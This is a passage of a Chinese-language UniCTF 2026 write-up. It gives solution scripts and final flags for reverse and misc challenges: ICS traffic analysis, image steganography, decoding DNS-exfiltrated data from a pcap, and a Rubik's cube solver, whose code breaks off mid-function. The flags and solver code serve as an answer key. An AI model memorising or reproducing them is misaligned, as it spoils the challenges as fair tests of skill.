s.add(expr==3)
elif pid==4:
s.add(expr<2)
elif pid==5:
s.add(expr>0)

assert s.check().r == 1
m = s.model()
sol = ''.join(str(m.evaluate(b).as_long()) for b in bits)
open('solution_bits.txt','w').write(sol)
print(sol)

得到 121 位输入:

1
0000000001000101000000000000000011001001000000001000100000001000000100001000000000101000000100000000000101000000000100000

使用 forward 解码 sequence_map_1 结果,得到:

1
Congratulations! The flag is unictf{hashlib.sha256(your_input).hexdigest()}.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# verify_output.py
seq1_labels=[l for l in labels if l.startswith('sequence_map_1:')]
seq1_tokens=[l.split(':',1)[1] for l in seq1_labels]
seq1_idx=[label_to_idx[l] for l in seq1_labels]

sol=open('solution_bits.txt').read().strip()
res = forward(['BOS'] + list(sol))

out_tokens=[]
for p in range(res.shape[0]):
vec=res[p, seq1_idx]
tok=seq1_tokens[int(vec.argmax())]
out_tokens.append(tok)

if 'EOS' in out_tokens:
out_tokens=out_tokens[:out_tokens.index('EOS')]
if out_tokens and out_tokens[0]=='BOS':
out_tokens=out_tokens[1:]
print(''.join(out_tokens))

计算最终 flag

1
2
3
import hashlib
sol = open('solution_bits.txt').read().strip()
print(hashlib.sha256(sol.encode()).hexdigest())

输出:

1
ec849b694475eed72b6582fd4d2879f725f47d7884f36ae8719baf6baa7ad8c1

最终 flag:

1
unictf{ec849b694475eed72b6582fd4d2879f725f47d7884f36ae8719baf6baa7ad8c1}

Misc

Welcome

直接扫描二维码回复UniCTF2026就可以得到flag

unictf38.png

工厂应急流量分析

任务 1:谁把阀门打开了?(Modbus 打开阀门指令)

unictf39.png

基础过滤

1
tcp.port == 502

接着进一步筛选写单线圈(功能码 0x05):

1
tcp.port == 502 && modbus.func_code == 5

Write Single Coil(0x05)里,线圈值:0xFF00 表示 ON(打开),0x0000 表示 OFF(关闭),因此在该请求包的 Modbus PDU 中确认 Output Value = 0xFF00,即为“打开阀门”的写入动作。接着在该“打开”请求包里提取:

  • Transaction Identifier(事务 ID)0x3c4d
  • Function Code0x05
  • Coil Address(线圈地址)0x0015

所以任务1Flag为:

1
flag{0x3c4d_0x05_0x0015}

任务 2:被读取的 NodeId(OPC UA)

unictf40.png

通过搜索可以知道

unictf41.png

先过滤一下port:

1
tcp.port == 4840

然后在数据包详情里看 TCP payload,接着查看TCP流

unictf42.png

接着如果了解一点的可以直接过滤也是一样的:

1
tcp.port == 4840 && frame contains "ReadRequest"

所以任务2Flag为:

1
flag{ns=2;s=Valve/Status}

任务 3:控制站域名解析结果

unictf43.png

直接过滤

1
dns.qry.name == "ctrlws.factory.local"

接着看响应包Answer,在DNS Response的Answers里找到 A 记录:

unictf44.png

1
ctrlws.factory.local -> 192.168.1.10

所以任务3Flag为:

1
flag{192.168.1.10}

任务4:连接建立时间(首个成功 TCP 连接,UTC)

unictf45.png

根据题目先过滤

1
ip.src==192.168.1.5 && ip.dst==192.168.1.10 && tcp.flags.syn==1 && tcp.flags.ack==0

这份包里能看到一次清晰的握手,目的端口为 80(HTTP),它是抓包内首次出现的“完整可见握手”。

unictf46.png

取时间并转 UTC,在该 SYN 包上,右键可:

  • Time Display Format → Date and Time of Day
  • 确保以UTC口径输出

所以该首次成功连接建立对应时间为:2025-03-15T09:30:01Z

所以任务4Flag为:

1
flag{2025-03-15T09:30:01Z}

任务 5:HTTP 请求痕迹(Host 与 URI)

unictf47.png

先根据题目过滤:

1
ip.src==192.168.1.5 && ip.dst==192.168.1.10 && http.request

unictf48.png

接着提取Host与URI,所以任务5Flag为:

1
flag{ctrlws.factory.local_/api/status}

任务 6:ICMP Echo Request 序列号(攻击者 ping)

unictf49.png

还是一样通过之前所有的信息和题目先过滤:

1
ip.src==192.168.1.100 && ip.dst==192.168.1.10 && icmp.type==8

读取 Sequence Number在ICMP Echo (ping) Request 的字段里有:Sequence number=291(十进制)换算为十六进制:0x0123,所以任务6Flag为:

1
flag{0x0123}

任务 7:SNMP Get 请求的 OID

unictf50.png

过滤:

1
ip.src==192.168.1.5 && ip.dst==192.168.1.10 && udp.port==161

提取 OID,该题 SNMP 载荷是明文格式,payload 中直接出现:

unictf51.png

因此 OID 为:1.3.6.1.2.1.1.5.0,所以任务7Flag为:

1
flag{1.3.6.1.2.1.1.5.0}

最后点击领取奖励就可以得到最后的flag

unictf52.png

总裁四比特,这能玩?

题目给了一张比特.jpg,先用 010 Editor 看文件结构,可以发现它由 JPEG 头部、FF D9 之后的一段中间杂乱数据,以及文件末尾的完整 PNG 组成。关键线索是:中间数据与尾部 PNG 大小同为 1,494,654 字节,暗示存在编码/映射关系。于是提取 FF D9 与 PNG 头之间的数据,采用“高 4 位提取”:取每个字节的 High Nibble,并将相邻两个字节的高 4 位拼成 1 个新字节,得到一段新数据流。检查后发现该数据流是有效 ZIP,直接解压得到一张 PNG。继续分析该 PNG,在 IEND 结束块后发现附加数据;将其按 ZIP 打开,解压得到 flag.txt,读取即获得最终flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import zipfile
import io

def main():
filename = '比特.jpg'

print(f"[*] Reading {filename}...")
try:
with open(filename, 'rb') as f:
data = f.read()
except FileNotFoundError:
print(f"[-] Error: File {filename} not found.")
return

# 1. Locate the segments
# JPEG ends with FF D9
jpeg_end_marker = b'\xff\xd9'
jpeg_end_pos = data.find(jpeg_end_marker)

if jpeg_end_pos == -1:
print("[-] JPEG end marker (FF D9) not found.")
return

jpeg_payload_end = jpeg_end_pos + 2

# PNG starts with 89 50 4E 47
png_header = b'\x89PNG'
png_start_pos = data.find(png_header, jpeg_payload_end)

if png_start_pos == -1:
print("[-] Hidden PNG header not found.")
return

print(f"[+] JPEG end offset: {jpeg_payload_end}")
print(f"[+] PNG start offset: {png_start_pos}")

# Extract the middle section
middle_data = data[jpeg_payload_end:png_start_pos]
print(f"[+] Middle data size: {len(middle_data)} bytes")

# 2. Decode the middle section
# Logic: The data is hidden in the high 4 bits (nibbles) of the middle bytes.
# We take pairs of bytes, extract their high nibbles, and combine them into one byte.
print("[*] Decoding middle data (High Nibble Extraction)...")

# Using a generator for memory efficiency, though list comp is fine for this size
# Original logic: (high[i] << 4) | high[i+1]
# where high[i] = byte >> 4
# So: ((b1 >> 4) << 4) | (b2 >> 4) == (b1 & 0xF0) | (b2 >> 4)

decoded_bytes = bytearray()
length = len(middle_data)
# Ensure we process even number of bytes
if length % 2 != 0:
length -= 1

for i in range(0, length, 2):
b1 = middle_data[i]
b2 = middle_data[i+1]
combined = (b1 & 0xF0) | (b2 >> 4)
decoded_bytes.append(combined)

print(f"[+] Decoded data size: {len(decoded_bytes)} bytes")

# 3. Unzip the decoded data
print("[*] Attempting to unzip decoded data...")
try:
with zipfile.ZipFile(io.BytesIO(decoded_bytes), 'r') as zf:
file_list = zf.namelist()
print(f"[+] ZIP contains: {file_list}")

if not file_list:
print("[-] ZIP is empty.")
return

# Extract the first file (assuming it's the image)
inner_filename = file_list[0]
extracted_content = zf.read(inner_filename)
print(f"[+] Extracted {inner_filename} ({len(extracted_content)} bytes)")

# 4. Check for hidden data after IEND in the extracted PNG
iend_marker = b'IEND'
iend_pos = extracted_content.find(iend_marker)

if iend_pos != -1:
# IEND chunk = 4 (len) + 4 (type) + 0 (data) + 4 (crc) = 12 bytes total usually?
# Actually, the marker is just the type "IEND".
# The find() returns the start of "IEND".
# So we need to skip "IEND" (4 bytes) and the CRC (4 bytes).
# Total offset from start of "IEND" is 8 bytes.
hidden_data_start = iend_pos + 8
hidden_data = extracted_content[hidden_data_start:]

if len(hidden_data) > 0:
print(f"[+] Found {len(hidden_data)} bytes of data after IEND.")

# 5. Try to unzip this trailing data
try:
with zipfile.ZipFile(io.BytesIO(hidden_data), 'r') as hidden_zf:
print(f"[+] Hidden ZIP contains: {hidden_zf.namelist()}")
if 'flag.txt' in hidden_zf.namelist():
flag = hidden_zf.read('flag.txt').decode().strip()
print(f"\n[SUCCESS] FLAG: {flag}\n")
else:
print("[-] flag.txt not found inside hidden ZIP.")
except zipfile.BadZipFile:
print("[-] Trailing data is not a valid ZIP.")
else:
print("[-] No data found after IEND.")
else:
print("[-] IEND marker not found in extracted file.")

except zipfile.BadZipFile:
print("[-] Decoded data is not a valid ZIP file.")

if __name__ == '__main__':
main()

运行可以得到flag为:

1
UniCTF{Y0u_4r3_4_6r347_h4ck3r_!}

Silent Resolver

题目给了一个抓包文件 traffic.pcapng,要求从里面提取隐藏的 flag。这类题常见套路是 DNS 外带:把数据切片塞进 DNS 查询的子域名里,通过不断 query 把内容“带出去”。抓包文件显示是 pcap,链路类型是 LINKTYPE_IPV4(228),说明每个包的 payload 直接从 IPv4 头开始

  1. 解析 pcap → 拿到每个包的 IPv4 + UDP
  2. 过滤 dport == 53(DNS query)
  3. 把 DNS 的 QNAME(域名)提取出来
  4. 在这些域名里找“异常长/奇怪的子域”,通常是:
    • 0000.<编码片段>.xxx
    • 0001.<编码片段>.xxx
    • ffff.<结尾标记>.xxx
  5. 按序号拼接编码片段
  6. Base32 解码
  7. 得到二进制数据,往往是 zip / gzip / png / elf 等
  8. 解压/解析,读取 flag.txt

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import struct
import base64
import io
import zipfile
import ipaddress
from collections import Counter

PCAP_PATH = "traffic.pcapng"

def read_pcap(path):
with open(path, "rb") as f:
gh = f.read(24)
magic = gh[:4]
if magic == b"\xd4\xc3\xb2\xa1":
endian = "<" # little
elif magic == b"\xa1\xb2\xc3\xd4":
endian = ">" # big
else:
raise ValueError("Not a PCAP file")

ver_major, ver_minor, thiszone, sigfigs, snaplen, network = struct.unpack(
endian + "HHiiii", gh[4:]
)

packets = []
while True:
ph = f.read(16)
if len(ph) < 16:
break
ts_sec, ts_usec, incl_len, orig_len = struct.unpack(endian + "IIII", ph)
pkt = f.read(incl_len)
packets.append((ts_sec, ts_usec, pkt))

return {
"endian": endian,
"ver": (ver_major, ver_minor),
"snaplen": snaplen,
"network": network,
"packets": packets,
}

def parse_ipv4(pkt):
if len(pkt) < 20:
return None
vihl = pkt[0]
version = vihl >> 4
ihl = (vihl & 0x0F) * 4
if version != 4 or ihl < 20 or len(pkt) < ihl:
return None

total_len = struct.unpack("!H", pkt[2:4])[0]
proto = pkt[9]
src = str(ipaddress.ip_address(pkt[12:16]))
dst = str(ipaddress.ip_address(pkt[16:20]))

payload = pkt[ihl:total_len] if total_len <= len(pkt) else pkt[ihl:]
return {"proto": proto, "src": src, "dst": dst, "payload": payload}

def parse_udp(payload):
if len(payload) < 8:
return None
sport, dport, ulen, csum = struct.unpack("!HHHH", payload[:8])
data = payload[8:8 + max(0, ulen - 8)]
return {"sport": sport, "dport": dport, "data": data}

def dns_read_name(msg, offset):
labels = []
jumped = False
orig_offset = offset
seen = set()

while True:
if offset >= len(msg):
return None, offset
length = msg[offset]

# compression pointer
if length & 0xC0 == 0xC0:
if offset + 1 >= len(msg):
return None, offset + 1
ptr = ((length & 0x3F) << 8) | msg[offset + 1]
if ptr in seen:
return None, offset + 2
seen.add(ptr)

if not jumped:
orig_offset = offset + 2
jumped = True
offset = ptr
continue

if length == 0:
offset += 1
break

offset += 1
if offset + length > len(msg):
return None, offset + length
label = msg[offset:offset + length].decode("ascii", errors="replace")
labels.append(label)
offset += length

name = ".".join(labels)
return name, (orig_offset if jumped else offset)

def parse_dns(data):
if len(data) < 12:
return None
tid, flags, qd, an, ns, ar = struct.unpack("!HHHHHH", data[:12])
offset = 12

questions = []
for _ in range(qd):
qname, offset = dns_read_name(data, offset)
if qname is None or offset + 4 > len(data):
return None
qtype, qclass = struct.unpack("!HH", data[offset:offset + 4])
offset += 4
questions.append((qname, qtype, qclass))

return {"id": tid, "flags": flags, "questions": questions}

def main():
pc = read_pcap(PCAP_PATH)

# 1) 提取所有 DNS Query 的 QNAME
qnames = []
for _, _, pkt in pc["packets"]:
ip = parse_ipv4(pkt)
if not ip or ip["proto"] != 17:
continue
udp = parse_udp(ip["payload"])
if not udp or udp["dport"] != 53:
continue
dns = parse_dns(udp["data"])
if not dns or not dns["questions"]:
continue
qnames.append(dns["questions"][0][0])

# 2) 找异常长域名(一般是数据切片)
suspicious = []
for q in qnames:
parts = q.split(".")
if len(q) > 40 or (parts and max(len(x) for x in parts) > 15):
suspicious.append(q)

print("[*] Suspicious QNAME count:", len(suspicious))
for s in suspicious:
print(" ", s)

# 3) 按 0000/0001/... 顺序提取编码片段
chunks = {}
for q in suspicious:
parts = q.split(".")
seq = parts[0]
enc = parts[1]
chunks[seq] = enc

# 假设从 0000 连续到 0005(本题就是这样)
ordered = "".join(chunks[f"{i:04d}"] for i in range(6))
print("[*] Base32 stream length:", len(ordered))
print("[*] Alphabet check:", "".join(sorted(set(ordered))))

# 4) Base32 解码(注意 Python 需要大写)
b = base64.b32decode(ordered.upper())
print("[*] Decoded bytes head:", b[:4])

# 5) 识别 ZIP 并读取 flag.txt
zf = zipfile.ZipFile(io.BytesIO(b))
print("[*] ZIP files:", zf.namelist())
flag = zf.read("flag.txt").decode().strip()
print("[+] FLAG =", flag)

if __name__ == "__main__":
main()

1)异常 DNS 域名长这样(典型 DNS 外带)

你会在查询列表里看到类似:

  • 0000.<一长串>.a1b2c3d4.exfil.unictf.local
  • 0001.<一长串>.a1b2c3d4.exfil.unictf.local
  • ffff.1818be0b.a1b2c3d4.exfil.unictf.local

第一段 0000/0001/...序号,第二段是编码数据切片

2)编码字符集只包含 a-z2-7

这非常符合 RFC4648 Base32 的特征(Base32 的数字只会出现 2~7)。

3)Base32 解码后字节头是 PK\x03\x04

PK\x03\x04 是 ZIP 文件的魔数(zip local file header),所以直接当 zip 解压即可。

解压 flag.txt 得到:

1
UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}

Sign in

打开压缩包的时候可以看到下面有一个base64加密的内容

unictf53.png

先解密

unictf54.png

得到一个SecretKey,可以知道这个是一个serpent加密,直接用在线解密网站解密

unictf55.png

flag为

1
UniCTF{Serpentine_Secrets}

Cube God

2x2 魔方

  • 交互:每轮隐藏一个面,只给出 5 个面的颜色;需在 1 秒内输出不超过 11 步的解法
  • 轮数:100
  1. 2x2 只有 8 个角块(无棱块),状态可由角块的位置排列朝向决定。
  2. 每轮只有一个面被隐藏,因此 4 个角块上各有 1 个贴纸未知。根据角块的颜色集合,可以约束未知颜色。
  3. 角块颜色集合合法性:只能是 {U,F,R}, {U,F,L}, {U,B,R}, {U,B,L}, {D,F,R}, {D,F,L}, {D,B,R}, {D,B,L} 这 8 类组合。
  4. 角块朝向满足不变量(所有角朝向和 mod 3 = 0)。

1)候选补全(隐藏面)

  • 从已知 20 个贴纸统计每种颜色还缺几个。
  • 对每个隐藏贴纸,根据所在角块的另外两色,限制可填颜色集合。
  • 回溯枚举 4 个隐藏贴纸,筛掉:
    • 角块颜色集合非法
    • 出现重复角块
    • 角块朝向和不满足 mod 3

通常候选数非常少(常见 1~2 个)。

2)求解器设计(<=11 步)

2x2 魔方直径为 11,可用双向/IDDFS 等方法快速求解。

这里采用 “前向 DFS + 反向表(meet-in-the-middle)”

  • 预计算 18 个基本转动的角块位置/朝向映射。
  • 对所有 8! 角排列和 3^7 角朝向建索引。
  • 预先从终态出发 BFS 到深度 6,记录“反向一步”用于回溯路径。
  • 在线时从当前状态 DFS 深度 5:
    • 一旦命中反向表,即可拼出总步数 ≤11 的解。
  • 若未命中(极少数情况),再回退到 IDA* 作为兜底。

3)正确性保证

  • 候选补全后,对于每个候选状态求解。
  • 必须验证求得的解是否真的把候选状态变回终态,否则丢弃该候选。
  • 这一点很关键:部分候选可能是“假状态”。

复杂度与性能

  • 预处理约 4s,内存约 80~90MB。
  • 每轮求解耗时通常 < 0.02s,远低于 1 秒限制。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket
from collections import deque


HOST = "nc1.ctfplus.cn"
PORT = 30446

FACES = "UDFBLR"
FACE_TO_IDX = {f: i for i, f in enumerate(FACES)}

# Move list in the same syntax as the server expects
MOVE_NAMES = [
"U", "U2", "U'",
"D", "D2", "D'",
"F", "F2", "F'",
"B", "B2", "B'",
"L", "L2", "L'",
"R", "R2", "R'",
]
MOVE_FACES = [m[0] for m in MOVE_NAMES]

COLOR_MAP = {"U": 0, "D": 1, "F": 2, "B": 3, "L": 4, "R": 5}
DIGIT_TO_COLOR = {v: k for k, v in COLOR_MAP.items()}

def idx(face, row, col):
return FACE_TO_IDX[face] * 4 + row * 2 + col


# Corner positions as facelet indices
CORNER_POS = [
[idx("U", 1, 1), idx("F", 0, 1), idx("R", 0, 0)],
[idx("U", 1, 0), idx("F", 0, 0), idx("L", 0, 1)],
[idx("U", 0, 1), idx("B", 0, 0), idx("R", 0, 1)],
[idx("U", 0, 0), idx("B", 0, 1), idx("L", 0, 0)],
[idx("D", 0, 1), idx("F", 1, 1), idx("R", 1, 0)],
[idx("D", 0, 0), idx("F", 1, 0), idx("L", 1, 1)],
[idx("D", 1, 1), idx("B", 1, 0), idx("R", 1, 1)],
[idx("D", 1, 0), idx("B", 1, 1), idx("L", 1, 0)],
]

# Map each facelet to the other two in its corner
OTHER_MAP = {}
for trip in CORNER_POS:
for i in range(3):
OTHER_MAP[trip[i]] = [trip[(i + 1) % 3], trip[(i + 2) % 3]]

# Valid corner color sets (digits)
CORNER_SETS = set(
tuple(sorted(COLOR_MAP[c] for c in trip))
for trip in [
("U", "F", "R"), ("U", "F", "L"), ("U", "B", "R"), ("U", "B", "L"),
("D", "F", "R"), ("D", "F", "L"), ("D", "B", "R"), ("D", "B", "L"),
]
)

# Corner orientation mask (derived from move definitions)
ORI_MASK = 105
CORNER_POS_OR = []
for i, trip in enumerate(CORNER_POS):
if (ORI_MASK >> i) & 1:
trip = [trip[0], trip[2], trip[1]]
CORNER_POS_OR.append(trip)

SOL_DIGITS = [COLOR_MAP[f] for f in FACES for _ in range(4)]
PIECE_BY_COLORS = {}
for i, pos in enumerate(CORNER_POS_OR):
cols = tuple(sorted(SOL_DIGITS[j] for j in pos))
PIECE_BY_COLORS[cols] = i


def is_valid_state(digits):
ori_sum = 0
seen = [False] * 8
for i, pos in enumerate(CORNER_POS_OR):
c0 = digits[pos[0]]
c1 = digits[pos[1]]
c2 = digits[pos[2]]
piece = PIECE_BY_COLORS.get(tuple(sorted((c0, c1, c2))))
if piece is None or seen[piece]:
return False
seen[piece] = True
if c0 <= 1:
ori_sum += 0
elif c1 <= 1:
ori_sum += 1
else:
ori_sum += 2
return ori_sum % 3 == 0

# --- Move permutations (from app.py logic) ---
class _Cube:
def __init__(self):
self.faces = {k: [[k for _ in range(2)] for _ in range(2)] for k in FACES}

def _rotate_face_cw(self, face):
n = len(face)
return [[face[n - 1 - j][i] for j in range(n)] for i in range(n)]

def _rotate_face_ccw(self, face):
n = len(face)
return [[face[j][n - 1 - i] for j in range(n)] for i in range(n)]

def _get_row(self, face, row):
return self.faces[face][row][:]

def _set_row(self, face, row, values):
self.faces[face][row] = values[:]

def _get_col(self, face, col):
return [self.faces[face][i][col] for i in range(2)]

def _set_col(self, face, col, values):
for i in range(2):
self.faces[face][i][col] = values[i]

def move_U(self, prime=False):
if prime:
self.faces["U"] = self._rotate_face_ccw(self.faces["U"])
t = self._get_row("F", 0)
self._set_row("F", 0, self._get_row("L", 0))
self._set_row("L", 0, self._get_row("B", 0))
self._set_row("B", 0, self._get_row("R", 0))
self._set_row("R", 0, t)
else:
self.faces["U"] = self._rotate_face_cw(self.faces["U"])
t = self._get_row("F", 0)
self._set_row("F", 0, self._get_row("R", 0))
self._set_row("R", 0, self._get_row("B", 0))
self._set_row("B", 0, self._get_row("L", 0))
self._set_row("L", 0, t)

def move_D(self, prime=False):
if prime:
self.faces["D"] = self._rotate_face_ccw(self.faces["D"])
t = self._get_row("F", 1)
self._set_row("F", 1, self._get_row("R", 1))
self._set_row("R", 1, self._get_row("B", 1))
self._set_row("B", 1, self._get_row("L", 1))
self._set_row("L", 1, t)
else:
self.faces["D"] = self._rotate_face_cw(self.faces["D"])
t = self._get_row("F", 1)
self._set_row("F", 1, self._get_row("L", 1))
self._set_row("L", 1, self._get_row("B", 1))
self._set_row("B", 1, self._get_row("R", 1))
self._set_row("R", 1, t)

def move_F(self, prime=False):
if prime:
self.faces["F"] = self._rotate_face_ccw(self.faces["F"])
t = self._get_row("U", 1)
self._set_row("U", 1, self._get_col("R", 0))
self._set_col("R", 0, self._get_row("D", 0)[::-1])
self._set_row("D", 0, self._get_col("L", 1))
self._set_col("L", 1, t[::-1])
else:
self.faces["F"] = self._rotate_face_cw(self.faces["F"])
t = self._get_row("U", 1)
self._set_row("U", 1, self._get_col("L", 1)[::-1])
self._set_col("L", 1, self._get_row("D", 0))
self._set_row("D", 0, self._get_col("R", 0)[::-1])
self._set_col("R", 0, t)

def move_B(self, prime=False):
if prime:
self.faces["B"] = self._rotate_face_ccw(self.faces["B"])
t = self._get_row("U", 0)
self._set_row("U", 0, self._get_col("L", 0)[::-1])
self._set_col("L", 0, self._get_row("D", 1))
self._set_row("D", 1, self._get_col("R", 1)[::-1])
self._set_col("R", 1, t)
else:
self.faces["B"] = self._rotate_face_cw(self.faces["B"])
t = self._get_row("U", 0)
self._set_row("U", 0, self._get_col("R", 1))
self._set_col("R", 1, self._get_row("D", 1)[::-1])
self._set_row("D", 1, self._get_col("L", 0))
self._set_col("L", 0, t[::-1])

def move_L(self, prime=False):
if prime:
self.faces["L"] = self._rotate_face_ccw(self.faces["L"])
t = self._get_col("U", 0)
self._set_col("U", 0, self._get_col("F", 0))
self._set_col("F", 0, self._get_col("D", 0))
self._set_col("D", 0, self._get_col("B", 1)[::-1])
self._set_col("B", 1, t[::-1])
else:
self.faces["L"] = self._rotate_face_cw(self.faces["L"])
t = self._get_col("U", 0)
self._set_col("U", 0, self._get_col("B", 1)[::-1])
self._set_col("B", 1, self._get_col("D", 0)[::-1])
self._set_col("D", 0, self._get_col("F", 0))
self._set_col("F", 0, t)

def move_R(self, prime=False):
if prime:
self.faces["R"] = self._rotate_face_ccw(self.faces["R"])
t = self._get_col("U", 1)
self._set_col("U", 1, self._get_col("B", 0)[::-1])
self._set_col("B", 0, self._get_col("D", 1)[::-1])
self._set_col("D", 1, self._get_col("F", 1))
self._set_col("F", 1, t)
else:
self.faces["R"] = self._rotate_face_cw(self.faces["R"])
t = self._get_col("U", 1)
self._set_col("U", 1, self._get_col("F", 1))
self._set_col("F", 1, self._get_col("D", 1))
self._set_col("D", 1, self._get_col("B", 0)[::-1])
self._set_col("B", 0, t[::-1])


def _facelet_perm(move_func):
labels = [i for i in range(24)]
cube = _Cube()
idx = 0
for f in FACES:
for r in range(2):
for c in range(2):
cube.faces[f][r][c] = labels[idx]
idx += 1
move_func(cube)
perm = [None] * 24
idx = 0
for f in FACES:
for r in range(2):
for c in range(2):
label = cube.faces[f][r][c]
perm[label] = idx
idx += 1
return perm


def _compose(p1, p2):
return [p1[p2[i]] for i in range(24)]


def build_move_perms():
base = {
"U": _facelet_perm(lambda c: c.move_U(False)),
"D": _facelet_perm(lambda c: c.move_D(False)),
"F": _facelet_perm(lambda c: c.move_F(False)),
"B": _facelet_perm(lambda c: c.move_B(False)),
"L": _facelet_perm(lambda c: c.move_L(False)),
"R": _facelet_perm(lambda c: c.move_R(False)),
}
perms = []
for face in ["U", "D", "F", "B", "L", "R"]:
p = base[face]
p2 = _compose(p, p)
p3 = _compose(p2, p)
perms.extend([p, p2, p3])
return perms


MOVE_PERMS = build_move_perms()

# Inverse move index mapping
INV_MOVE = {}
for i, name in enumerate(MOVE_NAMES):
if name.endswith("'"):
INV_MOVE[i] = MOVE_NAMES.index(name[:-1])
elif name.endswith("2"):
INV_MOVE[i] = i
else:
INV_MOVE[i] = MOVE_NAMES.index(name + "'")


# --- Solver core (corner-based IDA*) ---

def apply_perm_digits(digits, perm):
nd = [0] * 24
for old in range(24):
nd[perm[old]] = digits[old]
return nd


def apply_moves_digits(digits, moves):
for mi in moves:
digits = apply_perm_digits(digits, MOVE_PERMS[mi])
return digits


def digits_to_corners(digits):
perm = [0] * 8
ori = [0] * 8
for i, pos in enumerate(CORNER_POS_OR):
c0 = digits[pos[0]]
c1 = digits[pos[1]]
c2 = digits[pos[2]]
piece = PIECE_BY_COLORS[tuple(sorted((c0, c1, c2)))]
perm[i] = piece
if c0 <= 1:
ori[i] = 0
elif c1 <= 1:
ori[i] = 1
else:
ori[i] = 2
return perm, ori


def build_corner_move_tables():
pos_perm = []
ori_delta = []
for perm in MOVE_PERMS:
moved = apply_perm_digits(SOL_DIGITS, perm)
perm_c, ori_c = digits_to_corners(moved)
pos = [0] * 8
delta = [0] * 8
for new_pos in range(8):
old_pos = perm_c[new_pos]
pos[old_pos] = new_pos
delta[old_pos] = ori_c[new_pos]
pos_perm.append(pos)
ori_delta.append(delta)
return pos_perm, ori_delta


MOVE_POS_PERM, MOVE_ORI_DELTA = build_corner_move_tables()


def ori_index(ori):
idx = 0
mul = 1
for i in range(7):
idx += ori[i] * mul
mul *= 3
return idx


def build_perm_tables():
perms = []
perm_index = {}
for i, perm in enumerate(__import__("itertools").permutations(range(8))):
perms.append(perm)
perm_index[perm] = i
return perms, perm_index


PERM_TABLE, PERM_INDEX = build_perm_tables()


def build_ori_table():
table = []
for idx in range(3 ** 7):
tmp = idx
o = []
s = 0
for _ in range(7):
v = tmp % 3
tmp //= 3
o.append(v)
s += v
o.append((-s) % 3)
table.append(tuple(o))
return table


ORI_TABLE = build_ori_table()


def build_perm_move():
move = []
for mi in range(len(MOVE_PERMS)):
pos_perm = MOVE_POS_PERM[mi]
t = [0] * len(PERM_TABLE)
for p_idx, perm in enumerate(PERM_TABLE):
new_perm = [0] * 8
for old_pos in range(8):
new_perm[pos_perm[old_pos]] = perm[old_pos]
t[p_idx] = PERM_INDEX[tuple(new_perm)]
move.append(t)
return move


def build_ori_move():
move = []
for mi in range(len(MOVE_PERMS)):
pos_perm = MOVE_POS_PERM[mi]
delta = MOVE_ORI_DELTA[mi]
t = [0] * len(ORI_TABLE)
